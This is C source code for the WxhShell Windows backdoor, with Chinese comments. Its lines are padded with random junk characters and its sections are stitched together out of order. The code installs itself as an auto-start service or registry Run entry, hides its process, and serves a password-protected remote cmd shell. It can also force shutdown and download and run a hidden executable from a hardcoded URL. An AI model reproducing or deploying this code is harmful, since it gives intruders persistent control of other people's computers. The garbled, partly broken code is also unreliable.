  case 'd': { %4*c/ c6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |q w0:c=7!  
    if(Boot(SHUTDOWN)) #3rS{4[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V9oBSP'kt  
    else { GY]P(NU  
    closesocket(wsh); RM|J |R  
    ExitThread(0); tY)L^.*7  
    } ~qgh w@Q~  
    break; +5zXbfO  
    } gs'M^|e)  
  // 获取shell -%` ~3*L  
  case 's': { w jkh*Y  
    CmdShell(wsh); << >+z5D+  
    closesocket(wsh); aRMlE*yW  
    ExitThread(0); ~n]5iGz  
    break; _@ao$)q{J  
  } *?X&Y8Kf  
  // 退出 u<S`"MR:J  
  case 'x': { qi,) l*?f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FHOw ]"#  
    CloseIt(wsh); y*iZ;Bv j  
    break; dOeM0_o  
    } >G5aFk  
  // 离开 yvB]rz} i  
  case 'q': { K3!3[dR*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @Go_5X(  
    closesocket(wsh); juHL$SGC  
    WSACleanup(); Ms!EK  
    exit(1); ws0qwv#  
    break; xWG@<}H  
        } M|DMoi8x  
  } u} mj)Nk  
  } k+h}HCzE  
ztO)~uL  
  // 提示信息 U<j5s\Y,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lCU clD  
} & &}_[{fc  
  } 6(8 F4[D  
h[remR# 3\  
  return; PF~@@j  
} kk=n&M  
ZsP^<  
// shell模块句柄 k$kE5kh,S  
int CmdShell(SOCKET sock) HgQjw!  
{ ?Q]&;5o  
STARTUPINFO si; GY$Rkg6d  
ZeroMemory(&si,sizeof(si)); FSEf0@O:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =7Ud-5c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J>_mDcPo  
PROCESS_INFORMATION ProcessInfo; `yfZ{<  
char cmdline[]="cmd"; 0nwi5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <j'K7We/tP  
  return 0; y[ dB mTY  
} Orq/38:4G  
u n v:sV#b  
// 自身启动模式 JG!B3^qB  
int StartFromService(void) _BewaI;w  
{ wo`.sB&T  
typedef struct 8:TX9`,  
{ 7:UeE~ uB:  
  DWORD ExitStatus; d7V/#34  
  DWORD PebBaseAddress; s 4`-mIa  
  DWORD AffinityMask; lO-DXbgql$  
  DWORD BasePriority; xv]z>4@z,  
  ULONG UniqueProcessId; :4{ `c.S  
  ULONG InheritedFromUniqueProcessId; E/:U,u{  
}   PROCESS_BASIC_INFORMATION; | #yu  
if'=W6W  
PROCNTQSIP NtQueryInformationProcess;  kORWj<  
/!Rva"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x@  =p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >fC&bab  
lD0p=`.  
  HANDLE             hProcess; NN4Z:6W5  
  PROCESS_BASIC_INFORMATION pbi; P#A,(Bke3  
fV"Y/9}(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N?@^BZ  
  if(NULL == hInst ) return 0; t1Ts!Q2  
d'_q9uf'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l+Wux$6U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $J6 .0O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pz^S3fy  
1clzDwW  
  if (!NtQueryInformationProcess) return 0; \n_7+[=E  
}_lG2#Ll5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q2%cLbI F  
  if(!hProcess) return 0; Vl^x_gs#_]  
b~.$1oZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .B`$hxl*0c  
,kJ'_mq  
  CloseHandle(hProcess); ,l&?%H9q  
 P@O_MT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =i)%AnZ^9  
if(hProcess==NULL) return 0; \92M\S  
q{9vY:`[  
HMODULE hMod; NO*, }aeG  
char procName[255]; u$JAjA  
unsigned long cbNeeded; "Da 1BuX\  
T, #-: }  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vg$d|m${  
F+*E}QpM  
  CloseHandle(hProcess); 6[t<g=  
~ikp'5  
if(strstr(procName,"services")) return 1; // 以服务启动 +`F(wk["m  
K\-N'M!Z  
  return 0; // 注册表启动 v6)QLp  
} xsZN@hT  
?w/p 9j#  
// 主模块 ^y>V-R/N  
int StartWxhshell(LPSTR lpCmdLine) g=td*S  
{ M{L<aYe  
  SOCKET wsl; 0L>3 i8'  
BOOL val=TRUE; @ 51!3jeu  
  int port=0; Oem1=QpaC  
  struct sockaddr_in door; ~|KqG  
`v?hL~  
  if(wscfg.ws_autoins) Install(); ho>@ $9  
!8p>4|VM  
port=atoi(lpCmdLine); xI<l1@  
'wPX.h?  
if(port<=0) port=wscfg.ws_port; #. Dl1L/  
k)knyEUi  
  WSADATA data; nDn+lWA=g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gxhp7c182  
 C6gSj1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6O/L~Z*t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~;(\a@ _  
  door.sin_family = AF_INET; cEHpa%_5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z 4}"oQk:r  
  door.sin_port = htons(port); *$7^.eHfdd  
%ZRv+}z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xf;!w:u  
closesocket(wsl); G:e=9qTf  
return 1; yl>^QMmo  
} 3JD62wtx  
;*5z&1O  
  if(listen(wsl,2) == INVALID_SOCKET) { Dml?.-Uv<  
closesocket(wsl); 9?Bh8%$  
return 1; ,q*|R O  
} \WE/#To  
  Wxhshell(wsl); 0faf4LzU!  
  WSACleanup(); NL.3qx  
$idToOkw  
return 0; ]Z[3 \~?  
zDYJe_m ~  
} =F[M>o  
!wAnsK  
// 以NT服务方式启动 >XZ2w_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ydD:6bBX  
{ ]9 @4P$I  
DWORD   status = 0; Rs<S}oeLn  
  DWORD   specificError = 0xfffffff; qo9&e~Y<G  
>0kL9_9{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <2*+Y|Lk2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 23LG)or.JC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K;/f?3q  
  serviceStatus.dwWin32ExitCode     = 0; BSS4}qyS  
  serviceStatus.dwServiceSpecificExitCode = 0; #NT~GhWFf  
  serviceStatus.dwCheckPoint       = 0; LEKE+775  
  serviceStatus.dwWaitHint       = 0; a3A-N] ;f  
C^C'!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); + o< 7*  
  if (hServiceStatusHandle==0) return; p!DdX  
o<b  
status = GetLastError(); MeD/)T{G~  
  if (status!=NO_ERROR) wOUCe#P|r  
{ '!X`X=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pz2E+o  
    serviceStatus.dwCheckPoint       = 0; }Bh\N 5G%  
    serviceStatus.dwWaitHint       = 0; '1!%yKc0  
    serviceStatus.dwWin32ExitCode     = status; S%p,.0_  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^p4`o>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \R&ZWJKh  
    return; >CCy2W^W  
  } s,J\nbj0h  
f[zKA{R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "QfF]/:  
  serviceStatus.dwCheckPoint       = 0; SFWS<H(IN  
  serviceStatus.dwWaitHint       = 0; 5UL5C:3R9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `iuQ.I  
} 3 } $9./+  
#~*v*F~3  
// 处理NT服务事件,比如:启动、停止 =]Y'xzJuu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D{]w +  
{ "`K73M,c?9  
switch(fdwControl) ;|rFP  
{ cmf*BkS  
case SERVICE_CONTROL_STOP: O,@QGUoA  
  serviceStatus.dwWin32ExitCode = 0; F[ ^ p~u{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *[nS*D\:  
  serviceStatus.dwCheckPoint   = 0; (4l M3clF  
  serviceStatus.dwWaitHint     = 0; 9Lt3^MKa"  
  { YbVZK4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  mznE Cy  
  } ;XY#Jl>tg  
  return; I<lkociUCG  
case SERVICE_CONTROL_PAUSE: #r&yH^-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =aT8=ihP  
  break; MMRO@MdfV  
case SERVICE_CONTROL_CONTINUE: i+-Y"vRi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Gd&G*x  
  break; 1g!%ej jd  
case SERVICE_CONTROL_INTERROGATE: GB >h8yXH  
  break; .:['&; k  
}; eF 8um$t9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bB.nevb9p  
} G* mLb1  
o,1Fzdh6(  
// 标准应用程序主函数 uN9.U  _  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) arPqVMVr  
{ IOUzj{G#  
K!jau|FS  
// 获取操作系统版本 +/*A}!#v  
OsIsNt=GetOsVer(); '\7&Iz:%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +Y~,1ai 5^  
'vIVsv<p  
  // 从命令行安装 T7G{)wm  
  if(strpbrk(lpCmdLine,"iI")) Install(); #|xj*+)H  
]=^NTm,  
  // 下载执行文件 z81`Lhg6  
if(wscfg.ws_downexe) { Lp||C@h~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [0NH#88ym<  
  WinExec(wscfg.ws_filenam,SW_HIDE); <CP't[  
} >>7m'-k%D  
q|;+Wp?  
if(!OsIsNt) { 5[qx5|O  
// 如果时win9x,隐藏进程并且设置为注册表启动 fwyz|>H_Y(  
HideProc(); `4]-B@ 7_  
StartWxhshell(lpCmdLine); Yi"jj;!^S  
} D/zp_9B  
else QEL3b4Vm  
  if(StartFromService()) 1K$8F ~%Z  
  // 以服务方式启动 47/YD y%  
  StartServiceCtrlDispatcher(DispatchTable); `WU"*HqW  
else &_6B{Q  
  // 普通方式启动 z2V_nkI  
  StartWxhshell(lpCmdLine); hzk]kM/OC  
FJ&?My,=J  
return 0; .!Q[kn0a  
} \h/aD1 &g  
My >{;n=}  
W^nG\"T^  
0Z[8d0  
=========================================== ;(Qm<JAa  
0j~C6 vp  
m>?{flO  
V@>s]]HMq#  
`Axn  
ab5z&7Re6  
" b!|c:mE9|  
T*C]:=)  
#include <stdio.h> W[W}:@KZ  
#include <string.h> w0t||qj^>"  
#include <windows.h> 4THGHS^  
#include <winsock2.h> ;lo!o9`<  
#include <winsvc.h> [318Q%W&  
#include <urlmon.h> ,}#l0 BY  
PT`gAUCw  
#pragma comment (lib, "Ws2_32.lib") l7JY`x  
#pragma comment (lib, "urlmon.lib") V-iY2YiR  
aq,?  
#define MAX_USER   100 // 最大客户端连接数 RnkrI~x  
#define BUF_SOCK   200 // sock buffer xBcE>^{1.  
#define KEY_BUFF   255 // 输入 buffer [<{+tAdn)  
'.DFyHsq  
#define REBOOT     0   // 重启 '%9e8C|  
#define SHUTDOWN   1   // 关机 RV:%^=V-  
"Tm`V9  
#define DEF_PORT   5000 // 监听端口 /v:+ vh*mS  
X8b= z9  
#define REG_LEN     16   // 注册表键长度 y| %rW  
#define SVC_LEN     80   // NT服务名长度 h|1 /Q (  
JuT~~Z  
// 从dll定义API :AB$d~${M>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n P4DHb&5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dAcy;-[[P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ',p`B-dw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5zF7yvS.w  
vJfex,#lv  
// wxhshell配置信息 t1YVE%`w  
struct WSCFG { VS\~t  
  int ws_port;         // 监听端口 qMe$Qr8  
  char ws_passstr[REG_LEN]; // 口令 9rmOf Jo:  
  int ws_autoins;       // 安装标记, 1=yes 0=no It@.U|  
  char ws_regname[REG_LEN]; // 注册表键名 $/Q*@4t  
  char ws_svcname[REG_LEN]; // 服务名 7.l[tKh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g k[8'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LN?W~^gsR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TM|ycS'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u>.qhtm[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qG%'Lt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G u-#wv5@  
%9A6c(L  
}; |^i+Srh  
>{^&;$G+*  
// default Wxhshell configuration W`^Zb[  
struct WSCFG wscfg={DEF_PORT, E(oI0*S.5  
    "xuhuanlingzhe", 7x^P74  
    1, 58Fan*fO  
    "Wxhshell", &pD6Qq{  
    "Wxhshell", F\Gi;6a  
            "WxhShell Service", : )\<  
    "Wrsky Windows CmdShell Service", $>;U^-#3  
    "Please Input Your Password: ", PI#xRKt  
  1, Ln})\ UDK)  
  "http://www.wrsky.com/wxhshell.exe", xCMcS~ 3/  
  "Wxhshell.exe" @4D$Xl  
    }; t .&YD x  
RS~jHwIh  
// 消息定义模块 iii2nmiK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !;^sIoRPV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I7hE(2!$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n%]1p36  
char *msg_ws_ext="\n\rExit.";  # xS8  
char *msg_ws_end="\n\rQuit."; )q\|f_  
char *msg_ws_boot="\n\rReboot..."; TC4W7} }  
char *msg_ws_poff="\n\rShutdown..."; Ii /#cdgF  
char *msg_ws_down="\n\rSave to "; ,tZWPF-  
1#9Q1@'OS  
char *msg_ws_err="\n\rErr!"; MGd 7Ont  
char *msg_ws_ok="\n\rOK!"; &C+pen) Z  
nxP>IfSA  
char ExeFile[MAX_PATH]; 9air" 4  
int nUser = 0; wTGH5}QZ+  
HANDLE handles[MAX_USER]; mpBSd+ ;Z  
int OsIsNt; `2y2Bk  
! 3O#'CV  
SERVICE_STATUS       serviceStatus; !52]'yub  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R;gN^Yjk:  
CCOd4  
// 函数声明 7Xi)[M?)#  
int Install(void); 5uu Zt0V\  
int Uninstall(void); D}wM$B@S  
int DownloadFile(char *sURL, SOCKET wsh); 8M;VX3X  
int Boot(int flag); G_{x)@  
void HideProc(void); p*8LS7UT  
int GetOsVer(void); PYYOC"$  
int Wxhshell(SOCKET wsl); S$Tc\ /{  
void TalkWithClient(void *cs); ,25Qhz]  
int CmdShell(SOCKET sock); T<"Hh.h  
int StartFromService(void); C{<qc,!4  
int StartWxhshell(LPSTR lpCmdLine); [ 44d(P'  
.AOf-a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~ r6qnC2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Tp&03  
E4aCL#}D  
// 数据结构和表定义 oX@0+*"  
SERVICE_TABLE_ENTRY DispatchTable[] = #y"E hwF  
{ Re**)3#gn  
{wscfg.ws_svcname, NTServiceMain}, b/='M`D}#G  
{NULL, NULL} n0:Y* Op  
}; JB~79Lsdz  
NWuS/Ur`9  
// 自我安装 qr[H0f]  
int Install(void) pt&(c[  
{ %Uj7 g>  
  char svExeFile[MAX_PATH]; (-tF=wR,W  
  HKEY key; 8*;88vW"2  
  strcpy(svExeFile,ExeFile); JW;DA E<  
,lLkAd?q  
// 如果是win9x系统,修改注册表设为自启动 4i>sOP3 B  
if(!OsIsNt) { K'EGm #I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )2KQZMtgm]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BD+V{x}P  
  RegCloseKey(key); KPI c?|o/6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z{w!yMp"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /l-lkG5  
  RegCloseKey(key); vq|o}6Et  
  return 0; T> cvV  
    } =^m,|j|d>4  
  } &o>ctf.x  
} *Y'@|xf*  
else { :gMcl"t--  
Mvq5s+.  
// 如果是NT以上系统,安装为系统服务 M}E0Msq_o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 47b=>D8  
if (schSCManager!=0) g/&`NlD  
{ 6\ g-KO  
  SC_HANDLE schService = CreateService 2`qO'V3Q  
  ( :|3n`,  
  schSCManager, SnsOuC5Ah  
  wscfg.ws_svcname, kYBy\  
  wscfg.ws_svcdisp, t(YrF,  
  SERVICE_ALL_ACCESS, F3$@6J8<[z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $gU6=vN1#  
  SERVICE_AUTO_START,  ~{7/v  
  SERVICE_ERROR_NORMAL, kZXsL  
  svExeFile, s*<\ mwB  
  NULL, 8C1 'g7A<  
  NULL, ;*K@8GnU  
  NULL, ]03+8 #J  
  NULL, j3`# v3  
  NULL v|:2U8YREf  
  ); eHUr!zH:  
  if (schService!=0) WV]%llj^  
  { ]]~tFdh  
  CloseServiceHandle(schService); 9Ml^\|  
  CloseServiceHandle(schSCManager); m%Ah]x;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AsyJDt'i  
  strcat(svExeFile,wscfg.ws_svcname); K]4XD1n7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +.gM"JV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RN(>37B3_  
  RegCloseKey(key); TxL;qZRY ^  
  return 0; ;fLYO6  
    } x _&=IyU0j  
  } R0dIxG%  
  CloseServiceHandle(schSCManager); Uf#.b2]  
} UV}\#86!  
} ,f ..46G  
/,v>w,  
return 1; wg<UCmfu!  
} %$K2$dq5  
V7}5Zw1  
// 自我卸载 34ij5bko_)  
int Uninstall(void) Ve,h]/G  
{ +L(0R&C  
  HKEY key; i;4|UeUl  
/[Oo*}Dc=F  
if(!OsIsNt) { "iFA&$\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7?Vo([8  
  RegDeleteValue(key,wscfg.ws_regname); aChyl;#E  
  RegCloseKey(key); +DMD g.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DU9A3Z  
  RegDeleteValue(key,wscfg.ws_regname); vK\n4mE[,  
  RegCloseKey(key); CG!/Lbd  
  return 0; Q>qx? g  
  } "/ G^+u  
} ~ZbEKqni2  
} F/c7^  
else { l AF/O5b  
~Q7)6%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u2=gG.  
if (schSCManager!=0) >iefEv\  
{ x8H%88!j*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3QlV,)}  
  if (schService!=0) 6*3J3Lc_<  
  { ^+Ho#]  
  if(DeleteService(schService)!=0) { t[Dg)adc  
  CloseServiceHandle(schService); ,VK! 3$;|  
  CloseServiceHandle(schSCManager); Ul@ Jg    
  return 0; TG ,T>'   
  } 0Y7b$~n'Y  
  CloseServiceHandle(schService); Xq"@Z  
  } B^'Uh+Y  
  CloseServiceHandle(schSCManager); r?Y+TtF\e  
} ~9#nC`%2j  
} #P:o  
fJ"#c<n  
return 1; -oGJPl{r  
} 2w>l nJ-  
*Jd,8B/hC  
// 从指定url下载文件 <YU+W"jQT  
int DownloadFile(char *sURL, SOCKET wsh) -~z]ut<Z  
{ CS[[TzC=5  
  HRESULT hr; P $4h_dw  
char seps[]= "/"; vwZd@%BO  
char *token; S,&tKDJn  
char *file; GtZkzVqLd  
char myURL[MAX_PATH]; =*f>vrme  
char myFILE[MAX_PATH]; WH Zz?|^  
0fc]RkHs"  
strcpy(myURL,sURL); A)I4 `3E  
  token=strtok(myURL,seps); }T!2IaAB  
  while(token!=NULL) AEx|<E0  
  { UPtWj8h  
    file=token; xgl~4  
  token=strtok(NULL,seps); eM)E3~K:2  
  } NXhQdf  
cZ$!_30N+  
GetCurrentDirectory(MAX_PATH,myFILE); ,/ V'(\>  
strcat(myFILE, "\\"); EA )28]Y.  
strcat(myFILE, file); J)6A,:wt  
  send(wsh,myFILE,strlen(myFILE),0); "m^whHj  
send(wsh,"...",3,0); Z,~"`9>Ss  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pPztUz/.  
  if(hr==S_OK) `_L=~F8  
return 0; 6 isz  
else F_Q,j]0  
return 1; \L14rQ t  
H]:z:AAvX  
} }@Mx@ S  
0>D:  
// 系统电源模块 D8+68_BEM  
int Boot(int flag) ^Pc>/lY$Q%  
{ i*16k dI.  
  HANDLE hToken; 6`LC(Nv%-n  
  TOKEN_PRIVILEGES tkp; C9oF*{  
|JVeW[C  
  if(OsIsNt) { !oXA^7Th6]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #UN(R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U'i L|JRF  
    tkp.PrivilegeCount = 1;  .*H0{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G-FTyIP>'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r30t`o12i  
if(flag==REBOOT) { r.e,!Bs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2i);2>HLG  
  return 0; phIEz3Fu/  
} m.~&n!1W*`  
else { $mA+ 4ISK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <,~ =o  
  return 0; h-VpX6  
} q9n0bw^N  
  } 51oZ w%os=  
  else { Q ! 5P  
if(flag==REBOOT) { y%T5"p$,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {b@rQCre7  
  return 0; amI$0  
} /Cd`h ;#@  
else { ],r?]>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "i$uV3d  
  return 0; -C$Z%I7 0  
} /*GRE#7S  
} [kqxC  
S fE^'G\  
return 1; W-Cf#o  
} >/Z#{;kOz  
Meh?FW||5  
// win9x进程隐藏模块 qL^}t_>  
void HideProc(void) v |/IN  
{ 0D1yG(ck  
x{io*sY-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mY9u/; dK  
  if ( hKernel != NULL ) YWA:741  
  { 4+mawyM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b~ ?TDm7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R6 w K'  
    FreeLibrary(hKernel); 2aUz.k8o  
  } xh> /bU!>  
"m]"%MU7 8  
return; WG 9f>kE  
} to Ei4u)m  
&/ lJ7=Nq  
// 获取操作系统版本 ]?F05!$*  
int GetOsVer(void) 9E _C u2B  
{ pj,.RcH@o  
  OSVERSIONINFO winfo; r;w_B%9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V|NWJ7   
  GetVersionEx(&winfo); :V2j'R,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5Ah-aDBj  
  return 1; 5=Bj?xb$'  
  else x+5Q}ux'G  
  return 0; 0_bt*.w I+  
} 6wzF6] @O  
zTY|Z@:  
// 客户端句柄模块 4'rWy~` V  
int Wxhshell(SOCKET wsl) |0w'+HaE~N  
{ !D%*s,t\'  
  SOCKET wsh; 2]NP7Ee8 Z  
  struct sockaddr_in client; !)tXN=(1a  
  DWORD myID; =ox#qg.5  
^ j@Q2>&?  
  while(nUser<MAX_USER) a<Pi J?  
{ 9#%(%s 2 +  
  int nSize=sizeof(client); ~%^af"_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UQ>GAzh  
  if(wsh==INVALID_SOCKET) return 1; < W,k$|w  
6__@?XzJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  L}AR{  
if(handles[nUser]==0) q 9qmz[  
  closesocket(wsh); k=Ef)'  
else lg;Y}?P  
  nUser++; `<t{NJ&f  
  } 'O`jV0aa'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;:*o P(9k  
{549&]/o  
  return 0; L4sN)EI  
} h_]3L/  
6K P!o  
// 关闭 socket 5S7`gN.  
void CloseIt(SOCKET wsh) d8M"vd  
{ ,?B.+4CW\E  
closesocket(wsh); ^iubqtT]  
nUser--; %R;cXs4r  
ExitThread(0); cFUYT$8>  
} d^ !3bv*h  
H'I|tPs  
// 客户端请求句柄 |dD!@K  
void TalkWithClient(void *cs)  -/  
{ 3HbHl?-UNU  
Xkl^!,  
  SOCKET wsh=(SOCKET)cs; 1:7>Em<s  
  char pwd[SVC_LEN]; D4'? V Iz  
  char cmd[KEY_BUFF]; Bx&` $lW  
char chr[1]; sNvT0  
int i,j; $?Aez/  
w0SzK-&  
  while (nUser < MAX_USER) { YO!,m<b^u  
`P/*x[?  
if(wscfg.ws_passstr) { U`6QD}c"s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i*_KHK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p{Pa(Z]G  
  //ZeroMemory(pwd,KEY_BUFF); V@>?lv(\  
      i=0; NJUYeim;  
  while(i<SVC_LEN) { -f9M*7O<gf  
K?[pCF2C  
  // 设置超时 CX':nai  
  fd_set FdRead; Tc:W=\<  
  struct timeval TimeOut; - |[_j$g  
  FD_ZERO(&FdRead); CG9X3%xO%  
  FD_SET(wsh,&FdRead); * {4cc  
  TimeOut.tv_sec=8; <O5;w  
  TimeOut.tv_usec=0; RMC|(Q<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K- }k-S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `r*6P^P  
? |8&!F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,zXL8T  
  pwd=chr[0]; 0*3 <}  
  if(chr[0]==0xd || chr[0]==0xa) { JF{,;&sj  
  pwd=0; A ws#>l<  
  break; 9^a>U(,  
  } k|A!5A2  
  i++; ]Vb#(2<2  
    } NYP3uGH]  
-&)^|Atm  
  // 如果是非法用户,关闭 socket ,;+\!'lS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7Wb.(` a<  
} A^,(Vyd  
"fpj"lf-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]nX.zE|F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y sr{1!K  
ys#M* {?  
while(1) { eaX`S.!jR  
ePs<jrB<  
  ZeroMemory(cmd,KEY_BUFF); <;=Y4$y[  
J+IW  
      // 自动支持客户端 telnet标准   tMAa$XrZj  
  j=0; ^<E+7  
  while(j<KEY_BUFF) { 2jhVmK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0[v:^H  
  cmd[j]=chr[0]; c4-&I"z  
  if(chr[0]==0xa || chr[0]==0xd) { &V=54n=O?  
  cmd[j]=0; ~5!ukGK_  
  break; pK'WJ 72U  
  } EW5S%Y  
  j++; ^7"%eWT`  
    } raqLXO!j  
3$Is==>7  
  // 下载文件 NPoXz  
  if(strstr(cmd,"http://")) { ,O[vxN1X*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )D[ypuM&  
  if(DownloadFile(cmd,wsh)) BB%(!O4Dl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Wx)YI  
